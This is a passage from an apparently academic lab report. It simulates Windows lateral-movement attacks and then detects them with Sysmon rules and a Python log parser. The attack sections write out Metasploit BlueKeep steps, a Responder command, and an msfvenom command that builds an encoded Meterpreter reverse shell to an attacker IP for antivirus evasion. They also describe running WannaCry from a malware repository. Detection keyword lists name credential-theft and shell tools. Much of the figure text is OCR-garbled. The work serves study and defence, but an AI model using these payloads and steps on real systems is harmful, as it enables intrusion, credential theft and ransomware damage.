from January 12 - 2025 at 3:16:24 AM to January 10 - 2035 at 3:16:24 AM with renewals permitted
until the same end date. This extended validity ensures persistent access posing a significant
security risk. The ticket targets the CIFS service typically used for SMB file sharing, and is
associated with the host ITBERBARIS-PC.local. It impersonates the Administrator account at
ITBERBARIS-PC.local, providing full domain administrative privileges.

The implications of this Golden Ticket are profound. It grants the attacker domain administrative
rights, enabling them to exfiltrate sensitive data, disrupt operations, and deploy malicious
payloads. The ability to perform lateral movement exacerbates the threat, allowing attackers to
extend their reach across the network. Moreover, the extended validity period ensures a persistent
access mechanism, making detection and remediation even more challenging. This underscores
the critical importance of robust Kerberos monitoring, timely detection of suspicious
authentication patterns, and immediate incident response to mitigate the risks associated with such
advanced threats.
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4.5

RDP exploitation through BlueKeep

In this case we will showcase this PoC on our Windows Server 2008 R2.

Windows Server 2008 R2, released on October 22, 2009, is a server operating system developed
by Microsoft as part of the Windows NT family. It is the successor to Windows Server 2008 and
is based on the Windows 7 codebase. Designed to meet the needs of businesses and enterprise
environments , Windows Server 2008 R2 provides robust server features, including enhanced
virtualization, web hosting capabilities, and improved networking features.

BLUEKEEP

I
AREER I

Figure 27 — The Bluekeep exploit

A lot of SOHO networks include servers which fall victims to different vulnerabilities due to the
lack of support. One particularly critical vulnerability (CVE-2019-0708) also known as
"BlueKeep" has garnered significant attention. BlueKeep is a Remote Code Execution (RCE)
vulnerability that affects unpatched Windows Remote Desktop Protocol (RDP) services. It
primarily impacts older versions of Microsoft Windows , including Windows Server 2008 R2.

Systems Affected:

Windows XP

Windows Vista

Windows 7

Windows Server 2003 SP2
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e Windows Server 2008
e Windows Server 2008 R2

This vulnerability allows attackers to execute arbitrary code on vulnerable systems without
authentication. BlueKeep is notorious for enabling lateral movement across networks, facilitating
the spread of malware and the execution of denial-of-service (DoS) attacks. The exploitation of
this vulnerability has practical implications for both offensive and defensive security, making it a
critical topic for cybersecurity practitioners.

In our PoC we will use BlueKeep as a method for a denial-of-service attack. The danger posed
extends beyond the initial compromise of a single machine. As mentioned by Tao Yan et. Al :

“a critical remote code execution vulnerability in Microsoft’s Remote Desktop Services that arises
from improper handling of Remote Desktop Protocol (RDP) packets within the Windows kernel.
By sending a specially crafted series of RDP PDUs (Protocol Data Units), an attacker can trigger
a memory corruption flaw—often described as a use-after-free or out-of-bounds write enabling
them to overwrite key data structures in kernel space. Specifically, the exploit manipulates how
the RDP listener processes channel join requests and other RDP-related messages, ultimately
coercing the system into granting the attacker the ability to inject and run arbitrary code with
SYSTEM-level privileges. Because the attacker only needs network access to the target and no
valid credentials, the vulnerability is considered ‘“‘wormable,” meaning it can spread
automatically to other vulnerable systems, posing a severe threat to unpatched Windows
environments.”’

user@vbox: ~

File Actions Edit View Help

Figure 28 — Metasploit search of the BlueKeep exploit
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e search bluekeep : we search for the BlueKeep module
e use exploit/windows/rdp/cve_2019 0708 bluekeep_rce : we set the BlueKeep exploit

Figure 29 — IP set and Groomsize for the BlueKeep exploit

e set RHOSTS 192.168.1.185 : in this command we set the victim’s IP

e show targets : then we look at the types of targets which fit with our case

e settarget 2 : (since we use a VirtualBox version , we pick the second target)
e exploit : we run the exploit

Figure 30— Victims Machine after the BlueKeep exploit was initialized

The Blue Screen of Death (BSOD) shown in the image occurs when the Windows operating system
encounters a critical error that it cannot recover from, forcing the system to halt and prevent further
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damage. The error displayed in this case, IRQL_NOT_LESS OR_EQUAL, indicates that a
kernel-mode process or driver attempted to access a memory location it wasn’t authorized to
access, causing the system to crash.

STOP Code: 0x0000000A
Memory Address: OXFFFFF80001488BD6

The unhandled exception in kernel space triggers a kernel panic, forcing the operating system to
halt immediately to prevent further corruption or instability.

The BSOD shown here demonstrates how a failed BlueKeep exploit attempt can be used as a
Denial of Service (DoS) attack. While the primary intent of BlueKeep is remote code execution
(RCE), improper configuration or exploitation on non-compatible systems often leads to kernel
crashes. This illustrates the destructive potential of BlueKeep, highlighting the critical importance
of patching legacy systems to prevent exploitation.
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4.6
Execution of NTLM Hash Capture using Responder

[LLMNR] Po er t to fe80::b5ce:3 :50ea:22d1 for name test

[LLMNR] 0 er sent to fe80::b5ce:3 :50ea:22d1 for name test

Figure 31 — Capture of the NTLM Hashes with the use of Responder

Responder is a powerful tool used for network attacks that rely on misconfigurations and legacy
protocols, such as LLMNR and NetBIOS Name Service (NBT-NS). These protocols are often
enabled by default on Windows systems and can be exploited to intercept network traffic and
credentials.

This analysis demonstrates how Responder captures NTLMv2 hashes during an LLMNR
poisoning attack and examines the implications of such a capture in a simulated penetration testing
environment.

To begin the attack responder was executed on the attacker machine to listen for LLMNR and
NBT-NS requests.

sudo responder -1 ethO
e The -1 flag specifies the network interface to use (ethO in this case).

e Responder listens for LLMNR, NBT-NS, and MDNS queries and sends poisoned
responses to redirect the victim's traffic.
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4.7

Creating an Encoded Meterpreter Reverse TCP Payload Using
msfvenom and Shikata Ga Nai Encoder

msfvenom is a versatile tool included in the Metasploit Framework primarily used for generating
custom payloads and shellcode for penetration testing and exploit development. It combines the
functionality of two older Metasploit utilities, msfpayload and msfencode, into a single tool.

Figure 32 — execution of msfvenom command “msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.68
LPORT=4444 -f exe -e x86/shikata_ga_nai -i 10 > hello.exe”

Antivirus and endpoint detection solutions often rely on signature-based detection mechanisms.
Encoding techniques like Shikata Ga Nai are used to evade these mechanisms by altering the
payload's byte sequence without affecting its functionality. This analysis demonstrates the
generation of a reverse TCP payload encoded with Shikata Ga Nai.

Shikata Ga Nai is a polymorphic XOR additive feedback encoder. It alters the payload's binary
signature by encrypting it, making it harder for signature-based AV solutions to detect. The
encoder includes a decoder stub that decrypts the payload during execution.

Firstly the decoder stub generator uses metamorphic techniques, through code reordering and
substitution, to produce different output each time it is used, in an effort to avoid signature
recognition. Second, it uses a chained self modifying key through additive feedback. This means
that if the decoding input or keys are incorrect at any iteration then all subsequent output will be
incorrect. Third the decoder stub is itself partially obfuscated via self-modifying of the current
basic block as well as armored against emulation using FPU instructions.
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Below is the command that we executed:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.68 LPORT=4444 -f exe -e
x86/shikata_ga_nai -i 10 > hello.exe

e -p windows/meterpreter/reverse_tcp: Specifies the payload. It establishes a reverse TCP
connection to the attacker's machine.

e LHOST=192.168.1.68: The attacker's IP address where the reverse shell will connect.
o LPORT=4444: The port on the attacker's machine to listen for the connection.
o -ex86/shikata_ga_nai: Specifies the Shikata Ga Nai encoder to obfuscate the payload.

e -1 10: The number of encoding iterations, which determines how many times the payload
is obfuscated.

o -fexe: Specifies the output format as a Windows executable.

« > hello.exe: Saves the generated payload as an executable file named hello.exe.

Figure 33 — Attacker machine IP and Port set for Reverse TCP though metasploit

The multi/handler module is a versatile tool within the Metasploit Framework. It is used to manage
incoming reverse connections from payloads deployed on target systems. In this PoC a reverse
TCP payload is configured and deployed to establish a meterpreter session allowing the attacker

to gain remote control over the compromised target.
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e msf6 > use exploit/multi/handler : we set the needed Metasploit module
e set payload windows/meterpreter/reverse_tcp : we set a listener for connections

As we can see in the figure below , after we have specified the payload type as
windows/meterpreter/reverse_tcp, which creates a reverse TCP connection from the target system
to the attacker's machine , we have a meterpreter shell.

Figure 34 — Successful reverse tcp connection and execution of command “‘sysinfo”

Figure 35 — execution of command “getuid”
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The next step consists of the enumeration of the system information .In order to do that the we run the
command “sysinfo”” and also to find the users who are logged in we run the command “getuid”.

Figure 36 — execution of command “ps”

In order to list running processes we execute: “ps”

Figure 37 — execution of command “screenshot”

With the meterpreter > screenshot command , the Meterpreter shell is used to capture a screenshot
of the current desktop session on the compromised machine. This command matches the MITRE
ATT&CK Technique T1113 - Screen Capture under the Collection tactic.
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4.8

Deploying a Ransomware Payload with WannaCry

WannaCry (also referred to as WCry or WanaCryptOr 2.0) was one of the most disruptive
ransomware attacks in modern cybersecurity history, surfacing in May 2017. It quickly infected
hundreds of thousands of computers in over 150 countries, crippling hospitals, logistics companies,
telecom providers, and other critical infrastructure organizations. The financial damage was
extensive, with an estimated cost ranging from hundreds of millions to billions of dollars in lost
productivity and remediation efforts.

So how does WannaCry’s core ransomware module works? Firstly it works by encrypting a wide

range of file types (documents, images, databases) on the infected system using strong encryption
algorithms (AES for file encryption, with an RSA key to lock the AES key). After that it drops a
Ransom Note . specifically A pop-up demands payment in Bitcoin for file recovery, typically
within a stated deadline before the demanded sum doubles. Finally after locking the system ,
victims are presented with instructions on how to purchase Bitcoins and send the ransom.

A critical reason for WannaCry’s extensive spread was its worm-like propagation, which
leverages the EternalBlue exploit (CVE-2017-0144). Once on a vulnerable system (e.g., unpatched
Windows 7 or Windows Server 2008), WannaCry scans the Network for SMBv1 shares on TCP
port 445.After EternalBlue is exploited , to gain remote code execution privileges on other
unpatched machines it deploys the ransomware package onto each newly compromised host,
repeating the cycle.The combination of a ransomware payload and SMB worm causes WannaCry
to spread extremely fast , often infecting entire subnets within minutes or hours. Notably, machines
with the MS17-010 patch were protected against the EternalBlue exploit thus this event highlighted
the importance of timely patch management.

TheZoo is a public repository that provides access to malicious software samples, including
ransomware, trojans, worms, and other malware strains. It is widely used by security researchers,
ethical hackers, and cybersecurity professionals for testing, analysis, and training purposes in
controlled environments.

Github Link: https://github.com/ytisf/theZoo/tree/master
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[ README & Code of conduct &8 License

theZoo - A Live Malware Repository
[ coririnuons woome [T TRRIEED

o

theZoo is a project created to make the possibility of malware analysis open and available to the public. Since we
have found out that almost all versions of malware are very hard to come by in a8 way which will allow analysis, we
have decided to gather all of them for you in an accessible and safe way. theZoo was born by Yuval tisf Nativ and is
now maintained by Shahak Shalev.

theZoo is open and welcoming visitors!

If you are about to interact with our community please make sure to read our CODE-OF-CONDUCT.md prior to doing so.

If you plan to contribute, first - thank you. However, do make sure to follow the standards on  CONTRIBUTING.md .

Figure 38 - Malware repository github https://github.com/ytisf/theZoo

O Product ¥ Solutions ~ Resources  Open Source ~ Enterprise

& ytisf/ theZoo | pubiic

<> code (D Issues 6 11 Pullrequests ¥ @ Actions [ Projects 0 wiki @ security | Insights

P master ~ ¥ 3 Branches © 2 Tags Q Gotofile <> Code ~ About
A repository of LIVE malwares for your
ytist db -» 1712294860000 & 61226e5 - 10months ago () 223 Commits own joy and pleasure. theZoo is a project
created to make the possibility of
conf db -> 1712294860000 10 months ago malware analysis open and available to
o the public.
imports db -> 1712294260000 10 months ago
& thezoo.morirt.com
malware db -> 1712294260000 10 months ago
malware malwareanalysis
[ gitattributes MalwareD5 0.42 12 years ago
malware.analysis  malware-research
D gitignore Revamp of malware folder + new samples 4 yearsago malware-samples  thezoo
[ CODE-OF-CONDUCT.md db --> 1593511930000 5 years ago [0 Readme
I sl view license
[ CONTRIBUTING.md db --> 1593511930000 5 years ago
@ Code of conduct
[ ucENSEmd Fixing issue #36 4 years ago A Activity
(3 READMEmd Update README md 4 years ago v 11.5kstars
® 815 watching
O prep_filepy db -> 1712294260000 10 months ago ¥ 25kforke
O requirements.txt db -> 1712294360000 10 months ago Repart repasitory
[ theZoopy db -> 1712294860000 10 months ago
Releases 2
the: Version 0.60 (Latest)
00 README @ Code of conduct 3 License = © o e —

Figure 39 - Malware repository github https://github.com/ytisf/theZoo
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theZoo / malware / Binaries / Ransomware.WannaCry / =

= ytisf Revamp of malware folder + new samples @@
MName Last commit message
a
[ RansomwareWannaCry.md5 Revamp of malware folder + new samples
(3 Ransomware.WannaCry.pass Revamp of malware folder + new samples
[3 Ransomware.WannaCry.sha256 Revamp of malware folder + new samples
[ RansomwareWannaCry.zip Revamp of malware folder + new samples

Figure 40 - Malware repository github https://github.com/ytisf/theZoo

Once we have uploaded the Wannacry executable , we can run it and wait till the machine becomes fully
encrypted.

@WanaDecr...

Windows Server 2008 R2 Standard
Build 7600
This copy of Windows is not genuing

elemBl iroas S

Figure 41 — Victims Desktop of Wannacry results

I
[
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'¢# Wana DecryptOr 2.0

Qoops, your files have been encrypt

'What Happened to My Computer?
Your important files are encrypted.

Many of your documents, photos, videos, databases and othe:
accessible because they have been encrypted. Maybe you are
recover your files, but do not waste your time. Nobody can r¢
our decryption service.

Payment will be raised on

Can I Recover My Files?

Sure. We guarantee that you can recover all your files safely :
Time Left not so enough time.

You can decrypt some of your files for free. Try now by click
But if vou want to decrypt all your files, you need to pay.
You only have 3 days to submit the payment. After that the p1
Also, if yvou don't pay in 7 days, vou won't be able to recover:
'We will have free events for users who are so poor that they

11212025 05:24:41

Your files will be lost on

1/16/2025 05:24:41 How Do I Pay?

Time Left Payment is accepted in Bitcoin only. For more information, c
Please check the current nrice of Biteoin and huv some hiteni

ersee] [ 151 I rEEG =

Figure 42 — Wannacry files decrypted message from the victim’s computer

The image displays our victim’s Server machine get infected with the WannaCry ransomware. The
desktop background has been changed by the ransomware to display instructions on how to recover
the encrypted files, typically requiring payment in cryptocurrency.

Below can be seen an analysis of the Wannacry virus traffic through wireshark as Vassilios Vassilakis et.al

focused on the SMB protocol. [13]
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Wo. [Tme [swree [oestination | protoc| engtt] zato

784 165.985936 192.168.180.130 192.168.180.134 SN8 1287 Trans2 mr‘

843 107.6569306 192.168.180.138 192.168.180.134 SN8 191 Negotiate Proto:
844 107.657226 192.168.180.134 192.168.180.130 SM8 185 Negotiate Protoe
845 107.683100 192.168.180.130 192.168.180.134 SHB 139 Session Setup A
846 107.683251 192.168.180.134 192.168.180.130 SMB 251 Session Setup A
904 107.951281 192.168.180.130 192.168.180,134 sM8 191 Negotiate Protos
905 107.951521  192.16R.180.134 192, 168,180,130 SR 185 Nenotiate Protos

O LOTO (O W, S o5, 189, LY Z. 108 . ou . 18Y. L3% (192,

Source port: 49482 (49482)
Destination port: 445 (445)
[Strean index: 3]

Fig. 14. WannaCry internal network traffic attempting the SMB exploit.

Filter: [tcp _vJ Expression.. Clear /[, Save

Protocol| Lengtl| Info

No. Time Source Destination

Fig. 15. WannaCry external network traffic attempting the SMB exploit.

Figure 43 — Wannacry SMB exploit from paper “WannaCry Ransomware: Analysis of Infection, Persistence,
Recovery Prevention and Propagation Mechanisms”
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Sysmon

5.1 Presentation of the System Monitor (Sysmon) tool

System Monitor (Sysmon) is a Windows system service and device driver that, once installed on
a system, remains resident across system reboots to monitor and log system activity to the
Windows event log. It provides detailed information about process creations, network connections,
and changes to file creation time. In order for Sysmon to monitor and log system activity to the
Windows event log the use of a config.xml file is needed. Through this configuration file the user
can set specific limitations to what should be included or excluded from the logs.

Moving forward we will analyze how to use our sysmon-config.xml file and we will breakdown
how it works. This sysmon-config.xml file contains rules for detecting various attack techniques,
such as lateral movement, exploitation tools, privilege escalation, network connections, and
registry modifications which are made possible by the usage of tools like Meterpreter, Mimikatz,
Eternalblue, Follina, Bluekeep, Wannacry and Msfvenom.

5.2 Differences of Sysmon with other tools
What is the difference between Sysmon and other tools such as NetFlow?

NetFlow is a network protocol developed by Cisco for collecting IP traffic information. Unlike
Sysmon, which operates on the host level, NetFlow provides a broader view of network traffic by
collecting and analyzing flow data between devices on a network.
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Key Differences Between Sysmon and NetFlow

Aspect Sysmon NetFlow
Host-level monitoring (processes, |[Network-level monitoring (flows between
Scope . : .
registry, files). devices).
. Provides detailed insights into host|| Offers aggregated flow data without in-
Granularity - .
activity. depth details.
Threat detection, forensic analysis, Network traffic analysis, anomaly
Use Case . o . . .
endpoint monitoring. detection, bandwidth optimization.
Implementation Requires installation and Requires configuration on network
P configuration on individual hosts. devices like routers and switches.
Captures specific events (e.g., Tracks network traffic flows (e.g.,
Event Data . . N
process creation, file access). source/destination IPs, ports).

. Works with Windows Event Logs,|| Works with NetFlow collectors like
Analysis Tools

Splunk, or ELK. SolarWinds or NTop.
Endpoint-specific security Network-wide visibility and traffic
Focus L o
insights. insights.

Nikolaos Bermparis , Aristeidis Papadopoulos

University of the Aegean , Department of Information and Communication Systems Engineering



“Network security and PETs” - " Simulating Lateral Movement Techniques by using Sysmon for Detection and Analysis"

5.3 Sysmon Configuration Elements

The figure below depicts the first lines of the config.xml with the necessary initialization
statements for the config.xml file to be loaded and configure Sysmon. Declaration of the
schemaversion is fundamental <Sysmon schemaversion="13.30">, as well as the declaration of
the HashAlgorithms that will be used and the <EventFiltering> tag which states that the nature of
the configuration file will have to do with filtering of Sysmon Events.

n schemaversion="4,98"

.>md5, sha256, IMPHASH

Figure 44 — Utilization Statements

Each <RuleGroup> has a specific focus and each rule within the group applies conditions to filter
events for matching activities.

Nine different RuleGroups have been created, one for each category of EventFiltering, as follows:

<RuleGroup name="Process Creation" groupRelation="or">
<RuleGroup name="Network Connections" groupRelation="or">
<RuleGroup name="File Creation" groupRelation="or">
<RuleGroup name="Image Load" groupRelation="or">
<RuleGroup name="Registry Modifications" groupRelation="or">
<RuleGroup name="Named Pipe Monitoring" groupRelation="or">
<RuleGroup name="Exploit Detection" groupRelation="or">

<RuleGroup name="ProcessTerminate" groupRelation="or">

© © N o g &~ w b oRF

<RuleGroup name="Lateral Movement Detection" groupRelation="or">

The reason why the groupRelation was set to "or" value was so that during an EventFiltering of a
.evtx Sysmon file each RuleGroup can be iterated.
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1. Process Creation (<ProcessCreate>)

This RuleGroup monitors processes created on the system, focusing on malicious or suspicious
commands often associated with exploitation, lateral movement, and privilege escalation. It uses
the onmatch="include" directive to ensure any process matching the specified conditions is logged.

The key Features of this rule is that it monitors commands like net use, wmic, and psexec, which
are commonly used for moving between systems in a network.

Identifies known exploits (eternalblue, bluekeep) and tools like mimikatz, meterpreter, and
msfvenom which are known Attack and Exploitation.

groupRelation="or"

=d in lateral mov
onmatch
condition= net use
condition= tains" »wmic</C
condition= psexec
condition= tains"»powershell
rundl132</¢
condition= tains">mimikatz
condition= meterpreter
condition= t msfvenom C
condition= tasksche.exe
condition= C wannacry.exe
‘»shikata_ga nai

itation
onmatch="
condition= =" »eternalblue
condition= T
condition= msdt

Figure 45 - Sysmon XML configuration for process creation monitoring, specifically targeting commands and tools
used in lateral movement (e.g., net use, wmic, psexec) and exploitation (e.g., eternalblue, bluekeep, msdt).
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At the same time we can check for Follina vulnerability attacks often triggered when opening
malicious Office documents (e.g., .docx, .rtf). Also leverages the “ms-msdt” protocol to invoke
malicious commands. Checks for “msdt.exe” The Windows Support Diagnostic Tool used as the
entry point. Finally we can detect reverse shells by looking for common tools like nc.exe and
ncat.exe

Targets processes attempting to manipulate or interact with “Isass.exe”, a key process in credential
dumping attacks.

\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc</Co
C:\Windows\system32\cmd.exe /c C:\Windows\system32\reg.exe query
hklm\software\microsoft\windows\softwareinventorylogging /v collectionstate /reg:64</ParentC
\Windows\System32\wininit.exe
C:\Windows\System32\services.exe
C:\Windows\System32\wininit.exe

co ) C:\Windows\system32\1lsass.exe</C ine
co ' ">C:\Windows\system32\svchost.exe -k RPCS5 -p</Cor ne
c it ’ ">C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv</Cc e
CommandLir it “contains”»C:\Windows\system32\reg.exe query hklm\software\microsoft\windows\softwareinventorylogging

Figure 46 - Sysmon XML configuration for detecting known LSASS attacks by monitoring suspicious process
creation and parent-child process relationships

Tracks execution of “whoami.exe”, which is often used by attackers to determine user privileges.

0 i de
names= exe" condition="1is">C:\Windows\System32\whoami.
( dLi ( i ">whoami dLine
¢ iti s">C:\Windows\System32\cmd . exe< /Paren
mmar i : mandLine
: J conditi is" > \wwwrooth
: condition="1s">MpCmdRun.exe</Im
: whoami.exe"” condition="1s">C:\Windows\System32\whoami.
: thoami.exe™ condition=" C:\Windows\System32\whoami.

condition= C:\Windows\System32\whoami.

Figure 47 - Sysmon XML configuration for detecting "whoami.exe" attacks by monitoring specific process
executions, parent-child relationships, and suspicious parent command-line parameters
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This rule monitors “Klist.exe” a built-in Windows utility used for managing Kerberos tickets.
Attackers exploit it in lateral movement, persistence, and privilege escalation techniques. Common
scenarios include inspecting or deleting Kerberos tickets during attacks like Pass-the-Ticket or
Golden Ticket. See Figure 6.

C Line
Users\</Curre
£ ndition="1is ndows\System32\cmd . exe t
ine condition="1is">C:\Windows\system32\cmd.exe

Figure 48 - Sysmon XML configuration for detecting "klist" attacks by monitoring command executions related to
Kerberos ticket cache management, focusing on suspicious directories and parent process activity

At the same time it focuses on known PowerShell cmdlets and attack techniques like Invoke-
Dllinjection, Invoke-Shellcode, and keystroke logging tools (Get-Keystrokes) commonly used for
Privilege Escalation. See Figure 7.

"»sekurlsa
Invoke-D11lInjection
Invoke-Shellcode
Invoke-WmiCommand

Invoke-PsUaCme

et-Keystrokes</C
condition= in et-TimedScreensh Co
name="Pr e at condition= ins” »Invoke-ReflectivePEInjection

Figure 49 - Sysmon XML configuration for detecting privilege escalation attacks by monitoring process creation
events with command-line parameters linked to tools and techniques like DLL injection, shellcode execution, and
reflective PE injection
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2. Network Connections (<NetworkConnect>)

This RuleGroup logs network connections that could indicate lateral movement, command-and-
control communication, or other malicious network activity.

It is also important to monitor ports such as 135, 137-139, 445 used for RPC, NetBIOS, and SMB
communications. Port 3389 is for Remote Desktop Protocol (RDP), frequently abused in attacks.
Tracks connections to known malicious or exploit-related domains like the WannaCry kill-switch
domain: iugerfsodp9ifjaposdfjhgosurijfaeswrwergwea.com and the follina and bluekeep domains
which are associated with specific exploits.

' groupRelation="or"

iugerfsodp9ifjaposdfjhgosurijfaewrwergwea. com

s">follina</De

Figure 50 - Sysmon XML configuration for monitoring network connections, targeting specific ports and domains
associated with RPC, NetBIOS, SMB Direct, WannaCry, Follina, and BlueKeep exploits
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3. File Creation (<FileCreate>)

This RuleGroup focuses on detecting the creation of files that are indicative of attacks or malware
behavior. Files created in “\Temp\ and \AppData\Local\Temp\”, are common locations for
malware staging and detects extensions like “.wncry” and “.wnry” associated with WannaCry
ransomware. Also logs the creation of executable (.exe) and dynamic link library (.dll) files, often
used by tools like “msfvenom” and identifies files named after known exploits (eternalblue,
bluekeep).

" groupRelation="or"

getFilename
cal\Temp\

eternalblue
"»*bluekeep</Tz

Figure 51 —-Sysmon XML configuration for detecting suspicious file creation, focusing on temp directories,
WannaCry ransomware files, payloads from msfvenom, and EternalBlue/BlueKeep exploit indicators
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4. Image Load (<ImageLoad>)

This RuleGroup logs the loading of dynamic link libraries (DLLs) or other images that could
indicate malicious activity. Specifically it tracks the loading of DLLs associated with tools like
mimikatz, meterpreter, and ransomware and logs DLLs related to follina, bluekeep, and ms-msdt.
Also monitors critical system binaries (Isass.exe, svchost.exe) to detect suspicious behavior.

t mimikatz.d1l</I
condition nt meterpreter.dll
condition nt eternalblue.dll
condition nt ms-msdt<,/Im
condition nt shellcode
condition nt wannacry.dll

* DLLs in Fe 12 and Bl
condition nt follina.dll
condition nt bluekeep.dll

list DLLs
condition s\Windows\system32\lsass.exe
C e" condition=" C:\Windows\System32\svchost.exe</I
condition="en = I
=" condition

\Windows\System32\klist.exe

Figure 52- Sysmon XML configuration for detecting suspicious DLL loads, including those associated with
Mimikatz, Meterpreter, EternalBlue, WannaCry, Follina, BlueKeep, and LSASS or klist-related processes.
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5. Registry Events (<RegistryEvent>)

This RuleGroup monitors registry modifications, which are a common persistence mechanism for
malware. Changes made to “HKLM\Software\Microsoft\Windows\CurrentVersion\Run” (system-
wide persistence) and “HKCU\Software\Microsoft\Windows\CurrentVersion\Run” (user-level
persistence) are tracked. Also logs changes to “HKLM\SYSTEM\CurrentControlSet\Services”,
often used to install malicious services so it is easily detectable.

ions” groupRelation="or"
onmatch=

t condition HKLM\Software\Microsoft\Windows\CurrentVers
 condition ta HKLM\SYSTEM\CurrentControlSet\Services

HKCU\Software\Microsoft\Windows\CurrentVersion\Run</T

Figure 53 - Sysmon XML configuration for monitoring registry modifications, focusing on sensitive keys related to
services and persistence mechanisms in the Windows registry
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6. Named Pipe Monitoring (<PipeEvent>)

This RuleGroup monitors named pipe events, which are often used in interprocess communication
by malware and exploitation frameworks. Pipes associated with tools like mimikatz, psexec,
meterpreter, and ransomware (mssecsvc).

name="Named Pipe Monitoring

groupRelation="or"
t onmatch="include"
y att:

condition=" Wi Apipe

condition=’' A\ . \pipe\psexec:/Pip
condition=' >\\.\pipe\meterpreter
condition=" "%\ \pipe\mssecsvc /P
condition="contains">\\.\pipe\payload</Pi

Figure 54 - Sysmon XML configuration for monitoring named pipe events, specifically targeting pipes commonly
associated with tools like Mimikatz, PsExec, Meterpreter, and malicious payloads
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7. Exploit Detection (<Exploit Detection>)
This RuleGroup focuses on detecting known exploits based on specific command-line patterns.

Logs commands containing eternalblue, bluekeep, and msdt.

onmatch="1

condition=

= condition=
condition="co

Figure 55 - Sysmon XML configuration for exploit detection, monitoring process creation events for indicators of
EternalBlue, BlueKeep, and MSDT exploitation attempts

8. Process Termination (<ProcessTerminate>)

This RuleGroup monitors the termination of processes, especially those related to security tools or
suspicious binaries. Detects termination of Sysmon (Sysmon.exe, Sysmon64.exe) and other tools
that may hinder forensic analysis and monitors termination of processes like “mimikatz.exe”,
“psexec.exe”, and “pskill.exe”.

s">C:\Windows\System32\cmd. exe< /I er <

C:\Users\Administr: esktop\mimikatz_trunk\x64\mimika
psexec.exe 4 E P tel
pskill.exe

ipconfig.exe
">PING. exe

th">5ysmoné4.exe
th”>klist.exe a

Figure 56 - Sysmon XML configuration for process termination detection, monitoring suspicious process
terminations linked to tools like Mimikatz, PsExec, and Sysmon, as well as processes in sensitive directories or
indicative of reconnaissance and persistence activities
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9. Lateral Movement Detection (<ProcessAccess>)

This RuleGroup monitors suspicious access to processes that are critical to lateral movement and
credential dumping. Detects attempts to access “lsass.exe”, a common target for credential
harvesting.

" groupRelation="or

Figure 57 - Sysmon XML configuration for lateral movement detection, monitoring suspicious access to the LSASS
process to detect credential dumping or unauthorized access attempts
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evtxpy.py

After we have collected our logs, it is mandatory to create a python script to parse the most
important log detections. Keep in mind that automation is key and in a real world scenario it is
important to stay aware and have fast reactions.

After that we created a RBPolicy.txt file that contains the policies that we would like to collect
from our python parser. Here is the file below:

After that we need to create a parser script that parses the logs and analyses the policy file in order
to detect unusual behavior. Below consists an analysis of the python file.

rom xml.dom import minidom

Figure 58 — python libraries for evtxpy.py
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parser.add_argument("”

parser.add_argument

parser.add_argument ("
parser.parse_args()

.path.isfile(args
print(f"[!] E r: Th

{args.policy}’

with open(args.policy, "
filters = [line.strip() r () line.startswith(

print(" [INF
filter_item in :
print(f" {filter item}")

suspicious hits = []
total_events = ©

Figure 59 — function to validate and parse needed files
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with open(args.file, "r evix_file:
evtx buffer = mmap.mmap(evtx file.fileno(), ®, access=mmap.ACCESS READ)
file header = FileHeade v 88)

or xml string, record in Ex ¢ file xml view(file header):
total_events += 1
xml_doc = min .parseString(xml_string.replacei ',

))

event id = xml doc.getElementsByTagName(" ntID")[@].childNodes[@].nodeValue

filter_item in filters:
if filter_item xml_string:
suspicious hits.append((event id, filter item, xml string))

ept
prir

with open{args.output,
report_file.write(f"
report_file.
report_file.write(f"T
report_file.write(f"

idx, (event_id, filter_item, event) in enur
report_file.write(

report file.write(

report_file.write(

report file.write(

report file.write("-

print(f” 5 ete. {args _output}”)

it  name _
Python_Evtx_Analyz

Figure 60 — EVTX analysis section and report file generation
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PS5 C:\Users\Wikos\Desktop\UNIVERSITYA\NETSEC> python evixpy.py test2.txt
[INFO] Loaded filters from RBPolicy.txt:

wWannacry . exe

@Wanalecryptorg

taskdl.exe

ond.exe fc

powershell.exe -enc

powershell .exe -Command

wmic

psexec.exe

schtasks.exe

notepad.exe

regedit.exe

vssadmin.exe

services.exe
iugerfsodpgifjaposdfihgosurijfaswrwergwea. com
ayylmao.com

tcp:445

tcp:139

udp

@@Please Read Me@

ndows\Temp

Usersh Public\Downloads

bat
\*\AppData\Roaming

ProgramData‘\Microsoft\Windows\Start Menu‘\Programs\Startup

Software\Wicrosofth rentVersion\RunOnce

\Software\Microsoft\Window rrentVersion\Run
UhSoftware\Microsoft\Windows\CurrentVersion\RunOnce

( ces\Sharediccess\Parameters\FirewallPolicy

- suspicious process detected.log
[INFO] Analysis complete. Report saved to: test2.txt

Figure 62— Final message of completed script
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If we open the file , we can view some of the detections in detail without also searching the
whole evtx parsed file:

--- Suspicious Event 1943 ---

EventID: 11

Matched Filter: @WanaDecryptor@

Event Data:

<Event xmlns="http://schemas.microsoft.com/win/20804/88/events/event”><System><Provider Name="Microsoft-Windows-Sysmon" Guid="{5778385f-c22a-43ed-bflc-B6F5698ffbdd}"></Provider>
<EventID Qualifiers="">11</EventID>

<Version»2</Version>

<Level»d</Level>

<Task»11</Task>

<0pcode>@</0pcode>

<Keywords >8x3000000000000000< /Keywords>

<TimeCreated SystemTime="20825-01-12 14:19:08.588203"></TimeCreated>
<EventRecordID>12119</EventRecordID>

<Correlation ActivityID="" RelatedActivityID=""></Correlation>

<Execution ProcessID="1256" ThreadID="1588"></Execution>
<Channel>Microsoft-Windows -Sysmon/Operational</Channel>
<Computer>win2008</Computer>

<Security UserID="5-1-5-18"></Security>

</System>

<EventData»<Data Name="RuleName">File Creation</Data>

<Data Name="UtcTime">2025-01-12 14:19:08.588</Data>

<Data Name="ProcessGuid">{433b251a-cf25-6783-0000-0018dc591bB0}</Data>

<Data Name="ProcessId">2876</Data>

<Data Name=”ImagE”>Z:\Ransumare.MCFy\Ransumware.WannaCr‘y\ad@JebFbc9ebSbbaa545aF4d81bF5FJB71661848488439cEEBEEbESEBSBsﬂlaa.sxe(/Data>
<Data Name="TargetFilename">C:\Users\vboxuser\Desktop\@WanaDecryptor@.exe</Data>
<Data Name="CreationUtcTime">2025-01-12 14:18:16.306</Data>

</EventData>

</Event>

Figure 63— Output detection from test file

Of course if we want to avoid false positives , we can play around and customize the amount of
rules that we want to detect.
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Conclusions

Lateral movement is one of the most critical stages in an adversary's attack chain. It demonstrates
how attackers exploit compromised systems to gain access to additional machines and resources
